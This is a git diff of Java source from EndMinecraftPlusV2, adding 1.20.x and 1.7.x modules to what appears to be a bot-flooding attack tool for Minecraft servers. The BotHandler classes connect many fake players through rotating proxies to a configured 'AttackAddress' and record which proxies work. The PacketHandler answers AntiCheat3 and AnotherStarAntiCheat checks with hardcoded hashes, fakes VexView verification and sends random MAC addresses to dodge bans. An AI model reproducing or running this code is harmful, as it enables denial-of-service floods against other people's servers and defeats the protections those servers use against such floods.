ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
|
||||
return chatPacket.getContent();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return msg.style().clickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return convertComponentToPlainText(msg);
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = translatable.args();
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Component msg = (Component) message;
|
||||
for (Component extra : msg.children()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return Objects.requireNonNull(msg.style().clickEvent()).value();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return !msg.children().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ServerboundCustomPayloadPacket clientPluginMessagePacket = new ServerboundCustomPayloadPacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ServerboundClientInformationPacket clientSettingsPacket = new ServerboundClientInformationPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), HandPreference.LEFT_HAND, true, true);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ServerboundSetCarriedItemPacket clientPlayerChangeHeldItemPacket = new ServerboundSetCarriedItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ServerboundMovePlayerPosRotPacket clientPlayerPositionRotationPacket = new ServerboundMovePlayerPosRotPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ServerboundMovePlayerStatusOnlyPacket clientPlayerMovementPacket = new ServerboundMovePlayerStatusOnlyPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ServerboundKeepAlivePacket packet = new ServerboundKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ServerboundClientCommandPacket clientRequestPacket = new ServerboundClientCommandPacket(ClientCommand.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
23
VersionSupport-P1_20_X/VersionSupport-P1_20_X.iml
Normal file
23
VersionSupport-P1_20_X/VersionSupport-P1_20_X.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MCP-1.20.4.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,245 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import com.github.steveice10.mc.protocol.MinecraftProtocol;
|
||||
import com.github.steveice10.packetlib.ProxyInfo;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.event.session.*;
|
||||
import com.github.steveice10.packetlib.packet.Packet;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.ComponentLike;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.net.Proxy;
|
||||
import java.util.List;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
ProxyInfo proxyInfo = new ProxyInfo(getProxyType(ConfigUtil.ProxyType), proxy.address());
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), proxyInfo);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new TcpClientSession(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
|
||||
}
|
||||
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = convertComponentToPlainText(e.getReason());
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表] 选定的协议库版本无法启用Forge支持。", "BotAttack");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.addListener(new SessionListener() {
|
||||
@Override
|
||||
public void packetReceived(Session session, Packet packet) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, packet, userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSending(PacketSendingEvent packetSendingEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetSent(Session session, Packet packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void packetError(PacketErrorEvent packetErrorEvent) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = convertComponentToPlainText(e.getReason());
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
TcpClientSession client = (TcpClientSession) c;
|
||||
client.disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
return c.hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
TcpClientSession c = (TcpClientSession) client;
|
||||
c.setReadTimeout(Math.toIntExact(timeout));
|
||||
c.setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
|
||||
private static ProxyInfo.Type getProxyType(int type) {
|
||||
ProxyInfo.Type proxyType;
|
||||
switch (type) {
|
||||
case 3:
|
||||
proxyType = ProxyInfo.Type.SOCKS5;
|
||||
break;
|
||||
case 2:
|
||||
proxyType = ProxyInfo.Type.SOCKS4;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = ProxyInfo.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = ComponentLike.asComponents(translatable.args());
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
@ -0,0 +1,284 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_20_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.github.steveice10.mc.protocol.data.game.ClientCommand;
|
||||
import com.github.steveice10.mc.protocol.data.game.entity.player.HandPreference;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import com.github.steveice10.mc.protocol.data.game.setting.SkinPart;
|
||||
import com.github.steveice10.mc.protocol.packet.common.clientbound.ClientboundCustomPayloadPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.common.clientbound.ClientboundKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.common.serverbound.ServerboundClientInformationPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.common.serverbound.ServerboundCustomPayloadPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.common.serverbound.ServerboundKeepAlivePacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundPlayerPositionPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundSetHealthPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundChatPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundClientCommandPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCommandSuggestionPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerPosRotPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket;
|
||||
import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundSetCarriedItemPacket;
|
||||
import com.github.steveice10.packetlib.Session;
|
||||
import com.github.steveice10.packetlib.tcp.TcpClientSession;
|
||||
import net.kyori.adventure.text.Component;
|
||||
import net.kyori.adventure.text.ComponentLike;
|
||||
import net.kyori.adventure.text.TextComponent;
|
||||
import net.kyori.adventure.text.TranslatableComponent;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ClientboundCustomPayloadPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundCustomPayloadPacket packet = (ClientboundCustomPayloadPacket) recvPacket;
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ClientboundLoginPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ClientboundPlayerPositionPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ClientboundSystemChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) recvPacket;
|
||||
Component message = chatPacket.getContent();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ClientboundKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundKeepAlivePacket serverKeepAlivePacket = (ClientboundKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ClientboundSetHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundSetHealthPacket serverPlayerHealthPacket = (ClientboundSetHealthPacket) recvPacket;
|
||||
double health = serverPlayerHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundChatPacket chatPacket = new ServerboundChatPacket(text, System.currentTimeMillis(), 0, new byte[0], 0, null);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ServerboundCommandSuggestionPacket clientTabCompletePacket = new ServerboundCommandSuggestionPacket(1, cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
TcpClientSession session = (TcpClientSession) client;
|
||||
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet;
|
||||
return chatPacket.getContent();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return msg.style().clickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return convertComponentToPlainText(msg);
|
||||
}
|
||||
|
||||
public static String convertComponentToPlainText(Component component) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (component instanceof TextComponent) {
|
||||
sb.append(((TextComponent) component).content());
|
||||
} else if (component instanceof TranslatableComponent) {
|
||||
TranslatableComponent translatable = (TranslatableComponent) component;
|
||||
List<Component> args = ComponentLike.asComponents(translatable.args());
|
||||
// 将参数转换为纯文本
|
||||
List<String> argsText = args.stream()
|
||||
.map(PacketHandler::convertComponentToPlainText)
|
||||
.collect(Collectors.toList());
|
||||
// 附加子参数
|
||||
if (argsText.size() >= 2) {
|
||||
sb.append("[").append(argsText.get(0)).append("] ").append(argsText.get(1));
|
||||
// 如果有更多的参数,你可能需要根据实际情况处理
|
||||
}
|
||||
}
|
||||
// 处理子组件
|
||||
List<Component> children = component.children();
|
||||
for (Component child : children) {
|
||||
sb.append(convertComponentToPlainText(child));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Component msg = (Component) message;
|
||||
for (Component extra : msg.children()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return Objects.requireNonNull(msg.style().clickEvent()).value();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Component msg = (Component) message;
|
||||
return !msg.children().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ServerboundCustomPayloadPacket clientPluginMessagePacket = new ServerboundCustomPayloadPacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ServerboundClientInformationPacket clientSettingsPacket = new ServerboundClientInformationPacket(locale, 8, ChatVisibility.FULL, true, Arrays.asList(SkinPart.values()), HandPreference.LEFT_HAND, true, true);
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ServerboundSetCarriedItemPacket clientPlayerChangeHeldItemPacket = new ServerboundSetCarriedItemPacket(slot);
|
||||
session.send(clientPlayerChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ServerboundMovePlayerPosRotPacket clientPlayerPositionRotationPacket = new ServerboundMovePlayerPosRotPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ServerboundMovePlayerStatusOnlyPacket clientPlayerMovementPacket = new ServerboundMovePlayerStatusOnlyPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, long pingId) {
|
||||
ServerboundKeepAlivePacket packet = new ServerboundKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ServerboundClientCommandPacket clientRequestPacket = new ServerboundClientCommandPacket(ClientCommand.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../../libs/MC-1.7.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,174 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_7_X;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory(proxy));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
